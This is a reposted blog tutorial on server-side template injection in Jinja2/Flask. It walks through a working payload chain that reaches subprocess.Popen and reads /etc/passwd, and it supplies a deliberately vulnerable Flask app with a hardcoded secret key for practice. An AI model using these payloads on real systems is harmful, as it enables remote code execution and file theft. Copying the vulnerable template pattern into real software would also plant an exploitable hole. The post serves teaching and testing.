2023-9-6 11:43:56 Author: infosecwriteups.com(查看原文) 阅读量:11 收藏

Serj Novoselov

InfoSec Write-ups

Imagine having the power to craft stunning dynamic web pages effortlessly. Sounds amazing, right? But hold on! With great power comes great responsibility, especially when it comes to securing your applications.

Jinja2 is a widely used template engine for Python web applications. It is highly flexible and provides a powerful way to render templates. However, if user inputs are not validated and escaped correctly, Jinja2 can be susceptible to SSTI attacks.

1. 𝗨𝘀𝗲𝗿 𝗜𝗻𝗽𝘂𝘁 𝗙𝗶𝗲𝗹𝗱𝘀: Any user-supplied input fields, such as textboxes, search bars, or comment sections, are potential entry points.
2. 𝗨𝗥𝗟 𝗣𝗮𝗿𝗮𝗺𝗲𝘁𝗲𝗿𝘀: Parameters passed in the URL query string or as part of the URL path can be exploited by attackers.
3. 𝗛𝗧𝗧𝗣 𝗛𝗲𝗮𝗱𝗲𝗿𝘀: Certain HTTP headers, such as “User-Agent” or “Referer,” may contain user-provided data.
4. 𝗖𝗼𝗼𝗸𝗶𝗲𝘀: Data stored in cookies can also be manipulated by attackers to execute SSTI attacks.
5. 𝗙𝗼𝗿𝗺 𝗗𝗮𝘁𝗮: Form submissions can carry data that might be used in templates.
6. 𝗙𝗶𝗹𝗲 𝗨𝗽𝗹𝗼𝗮𝗱𝘀: If file upload functionality is present and the uploaded files are processed by the template engine, attackers might attempt SSTI.
7. 𝗗𝗮𝘁𝗮𝗯𝗮𝘀𝗲 𝗤𝘂𝗲𝗿𝗶𝗲𝘀: In some cases, templates may include dynamic data retrieved from a database.

When testing a Python app you inputed some math expression (e.g. {{7*7}}), and got it calculated (49), try to get an RCE!

Page vulnerable to SSTI

In a Flask application, even within a sandboxed environment, global objects are accessible. Some valuable objects include:

  • {{ dict }}: Class object of the dictionary.
  • {{ request }}: Object containing request information.
  • {{ config }}: Useful object for Proof of Concepts.
  • {{ [] }}: List object.
  • {{ ‘’}}: String object.
Some global objects

Reaching the base class object helps in recovering application-defined classes. By using __class__, the class object can be retrieved:

🔍 Base class

{{ [].__class__ }} yields <class ‘list’>.
Getting the class object

By using __base__ you can go to the base class.

{{ [].__class__.__base__ }}. This will allow to get the <class ‘object’>
Getting the base class object

Now, listing subclasses using __subclasses__():

{{ [].__class__.__base__.__subclasses__() }}.

🔍 Selecting an Object:

Picking a specific object involves specifying its index in the list:

{{ [].__class__.__base__.__subclasses__()[422] }} returns <class ‘Subprocess.Popen’>.
Getting a specific class from the list of links to inherited classess

🔍 RCE

Further actions, like executing a command (e.g., “cat /etc/passwd”), can be performed as you usually do with “popen” in Python.

{{ [].__class__.__base__.__subclasses__()[422](‘cat /etc/passwd’,shell=True,stdout=-1).communicate()[0].strip() }}.
Running a UNIX command

P.S. If you want to play around, here is source for a page I used to prepare the screenshots. Save it and run with Python3.

from flask import Flask, request, render_template_string

app = Flask(__name__)

template_base = '''
<!DOCTYPE html>
<html>
<head>
<title>SSTI</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
max-width: 600px;
background-color: #fff;
border-radius: 8px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
padding: 40px;
}
h1 {
text-align: center;
color: #007bff;
}
p {
color: #666;
}
code {
display: block;
background-color: #f7f7f7;
padding: 10px;
border-radius: 4px;
margin: 10px 0;
font-family: "Courier New", monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>Vulnerable to SSTI!</h1>
<form method="GET" action="/">
<input type="text" name="c" placeholder="Enter your content here" value="">
<button type="submit">Submit</button>
</form>
<div>
<h2>Your Content: </h2>
<code>%s</code>
</div>
</div>
</body>
</html>'''

@app.route("/")
def home():
if request.args.get('c'):
content = request.args.get('c')
else:
content = "Hello"

#That is very insecure
template = template_base % content

return render_template_string(template)

if __name__ == "__main__":
app.config['SECRET_KEY'] = 'VERY_SECRET_KEY123'
app.run('0.0.0.0',port=5050)


文章来源: https://infosecwriteups.com/-e91b4e65a4b2?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh